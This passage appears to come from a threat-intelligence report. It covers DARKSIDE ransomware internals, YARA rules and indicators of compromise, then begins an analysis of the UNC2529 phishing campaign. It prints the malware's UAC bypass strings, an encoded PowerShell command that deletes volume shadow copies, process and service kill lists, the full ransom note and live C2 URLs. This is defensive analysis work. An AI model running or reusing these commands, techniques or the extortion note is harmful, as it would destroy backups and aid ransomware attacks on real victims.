Feature not used: related to these strings: "sql" and "sqlite"

0x11

Yes

Terminate processes

0x12

Yes

Stop services

0x13

Yes

Feature not used; related to a buffer that contains the repeated string "blah"

0x14

Yes

Drop ransom note

0x15

Yes

Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.

Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

root/cimv2
SELECT * FROM Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.

vss
sql
svc$
memtas
mepocs
sophos
veeam
backup

Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.

GxVss
GxBlr
GxFWD
GxCVD
GxCIMgr

Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.

vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe

Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.

$recycle.bin
config.msi
$windows.~bt
$windows.~ws

Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldrntuser.dat
ntuser.dat
logntuser.ini
thumbs.db

Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:
Key:
<REDACTED>

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
https://google.com/api/version
https://yahoo.com/v2/api
sql
sqlite
$recycle.bin
config.msi
$windows.~bt
$windows.~ws
windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default
386
adv
ani
bat
bin
cab
cmd
com
cpl
cur
deskthemepack
diagcab
diagcfg
diagpkg
dll
drv
exe
hlp
icl
icns
ico
ics
idx
ldf
lnk
mod
mpa
msc
msp
msstyles
msu
nls
nomedia
ocx
prf
ps1
rom
rtp
scr
shs
spl
sys
theme
themepack
wpx
lock
key
hta
msi
pdb
vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
vss
sql
svc$
memtas
mepocs
sophos
veeam
backup
\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl
ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah
blahblah\r\nblahblahblah\r\n
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC\r\nThe data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
-path
INF
DBG
/C DEL /F /Q
 >> NUL
ComSpec
README
.TXT
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
README
.TXT
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2
*$_,2))};iex $s"
root/cimv2
WQL
SELECT * FROM Win32_ShadowCopy
ID
Win32_ShadowCopy.ID='%s'
.exe
LOG%s.TXT
README%s.TXT
Software\Classes\exefile\shell\open\command
\slui.exe
runas
Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
explorer.exe

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
{
    meta:
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
    strings:
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
}

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
{
    meta:
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
    strings:
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
    condition:
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
}

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
{
    meta:
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
    strings:
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)

  • BABYMETAL (BACKDOOR)
  • DARKSIDE RANSOMWARE (FAMILY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)

Malware Protection(AV/MG)

  • Generic.mg.*
  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected

Helix

  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • TEAMVIEWER CLIENT [User-Agent]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]
  • WINDOWS METHODOLOGY - SERVICES [PsExec]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID 

Title 

A101-700 

Malicious File Transfer - DARKSIDE, Download, Variant #2 

A101-701 

Malicious File Transfer - DARKSIDE, Download, Variant #3 

A101-702 

Malicious File Transfer - DARKSIDE, Download, Variant #4 

A101-703 

Malicious File Transfer - DARKSIDE, Download, Variant #5 

A101-704 

Malicious File Transfer - DARKSIDE, Download, Variant #6 

A101-705 

Malicious File Transfer - DARKSIDE, Download, Variant #7 

A101-706 

Malicious File Transfer - DARKSIDE, Download, Variant #8 

A101-707 

Malicious File Transfer - DARKSIDE, Download, Variant #9 

A101-708 

Malicious File Transfer - DARKSIDE, Download, Variant #10 

A101-709 

Malicious File Transfer - DARKSIDE, Download, Variant #11 

A101-710 

Malicious File Transfer - DARKSIDE, Download, Variant #12 

A101-711 

Malicious File Transfer - DARKSIDE, Download, Variant #13 

A101-712 

Malicious File Transfer - DARKSIDE, Download, Variant #14 

A101-713 

Malicious File Transfer - DARKSIDE, Download, Variant #15 

A101-714 

Malicious File Transfer - DARKSIDE, Download, Variant #16 

A101-715 

Malicious File Transfer - DARKSIDE, Download, Variant #17 

A101-716 

Malicious File Transfer - DARKSIDE, Download, Variant #18 

A101-717 

Malicious File Transfer - DARKSIDE, Download, Variant #19 

A101-718 

Malicious File Transfer - DARKSIDE, Download, Variant #20 

A101-719 

Malicious File Transfer - DARKSIDE, Download, Variant #21 

A101-720 

Malicious File Transfer - DARKSIDE, Download, Variant #22 

A101-721 

Malicious File Transfer - DARKSIDE, Download, Variant #23 

A101-722 

Malicious File Transfer - DARKSIDE, Download, Variant #24 

A101-723 

Malicious File Transfer - DARKSIDE, Download, Variant #25 

A101-724 

Malicious File Transfer - DARKSIDE, Download, Variant #26 

A101-725 

Malicious File Transfer - DARKSIDE, Download, Variant #27 

A101-726 

Malicious File Transfer - DARKSIDE, Download, Variant #28 

A101-727 

Malicious File Transfer - DARKSIDE, Download, Variant #29 

A101-728 

Malicious File Transfer - DARKSIDE, Download, Variant #30 

A101-729 

Malicious File Transfer - DARKSIDE, Download, Variant #31 

A101-730 

Malicious File Transfer - DARKSIDE, Download, Variant #32 

A101-731 

Malicious File Transfer - DARKSIDE, Download, Variant #33 

A101-732 

Malicious File Transfer - DARKSIDE, Download, Variant #34 

A101-733 

Malicious File Transfer - DARKSIDE, Download, Variant #35 

A101-734 

Malicious File Transfer - DARKSIDE, Download, Variant #36 

A101-735 

Malicious File Transfer - NGROK, Download, Variant #1 

A101-736 

Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 

A101-737 

Malicious File Transfer - BEACON, Download, Variant #3 

A101-738 

Data Exfiltration - RCLONE, Exfil Over SFTP 

A101-739 

Malicious File Transfer - RCLONE, Download, Variant #2 

A101-740 

Command and Control - DARKSIDE, DNS Query, Variant #1 

A101-741 

Command and Control - DARKSIDE, DNS Query, Variant #2 

A101-742 

Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 

A104-771 

Protected Theater - DARKSIDE, PsExec Execution 

A104-772 

Host CLI - DARKSIDE, Windows Share Creation 

A104-773 

Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

UNC2628

Indicator

Description

104.193.252[.]197:443

BEACON C2

162.244.81[.]253:443

BEACON C2

185.180.197[.]86:443

BEACON C2

athaliaoriginals[.]com

BEACON C2

lagrom[.]com

BEACON C2

ctxinit.azureedge[.]net

BEACON C2

45.77.64[.]111

Login Source

181ab725468cc1a8f28883a95034e17d

BEACON Sample

UNC2659

Indicator

Description

173.234.155[.]208

Login Source

UNC2465

Indicator

Description

81.91.177[.]54 :7234

Remote Access

koliz[.]xyz

File Hosting

los-web[.]xyz

EMPIRE C2

sol-doc[.]xyz

Malicious Infrastructure

hxxp://sol-doc[.]xyz/sol/ID-482875588

Downloader URL

6c9cda97d945ffb1b63fd6aabcb6e1a8

Downloader LNK

7c8553c74c135d6e91736291c8558ea8

VBS Launcher

27dc9d3bcffc80ff8f1776f39db5f0a4

Ngrok Utility

DARKSIDE Ransomware Encryptor

DARKSIDE Sample MD5

04fde4340cc79cd9e61340d4c1e8ddfb

0e178c4808213ce50c2540468ce409d3

0ed51a595631e9b4d60896ab5573332f

130220f4457b9795094a21482d5f104b

1a700f845849e573ab3148daef1a3b0b

1c33dc87c6fdb80725d732a5323341f9

222792d2e75782516d653d5cccfcf33b

29bcd459f5ddeeefad26fc098304e786

3fd9b0117a0e79191859630148dcdc6d

47a4420ad26f60bb6bba5645326fa963

4d419dc50e3e4824c096f298e0fa885a

5ff75d33080bb97a8e6b54875c221777

66ddb290df3d510a6001365c3a694de2

68ada5f6aa8e3c3969061e905ceb204c

69ec3d1368adbe75f3766fc88bc64afc

6a7fdab1c7f6c5a5482749be5c4bf1a4

84c1567969b86089cc33dccf41562bcd

885fc8fb590b899c1db7b42fe83dddc3

91e2807955c5004f13006ff795cb803c

9d418ecc0f3bf45029263b0944236884

9e779da82d86bcd4cc43ab29f929f73f

a3d964aaf642d626474f02ba3ae4f49b

b0fd45162c2219e14bdccab76f33946e

b278d7ec3681df16a541cf9e34d3b70a

b9d04060842f71d1a8f3444316dc1843

c2764be55336f83a59aa0f63a0b36732

c4f1a1b73e4af0fbb63af8ee89a5a7fe

c81dae5c67fb72a2c2f24b178aea50b7

c830512579b0e08f40bc1791fc10c582

cfcfb68901ffe513e9f0d76b17d02f96

d6634959e4f9b42dfc02b270324fa6d9

e44450150e8683a0addd5c686cd4d202

f75ba194742c978239da2892061ba1b4

f87a2e1c3d148a67eaeb696b1ab69133

f913d43ba0a9f921b1376b26cd30fa34

f9fc1a1a95d5723c140c2a8effc93722

The UNC2529 Triple Double: A Trifecta Phishing Campaign

4 May 2021 at 14:00

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure

Wave

re: <redacted> outdoors environment (1 out of 3)

1st

accepted: follow up with butch & karen

1st

re: appraisal for <redacted> - smysor rd

2nd

re: <redacted> financing

2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure

Wave

fw: certificate of insurance

1st

fw: insurance for plow

1st

please get this information

1st

question & number request

1st

claim status

2nd

applications for medicare supplement & part d

2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure

Wave

dear worker, your work # ujcb0utczl

1st

good day worker, your job number- 8ldbsq6ikd

1st

hello worker, your work number- u39hbutlsf

1st

good day candidate, your vacancy # xcmxydis4s

2nd

dear worker, your work # ujcb0utczl

2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.


Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 


Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

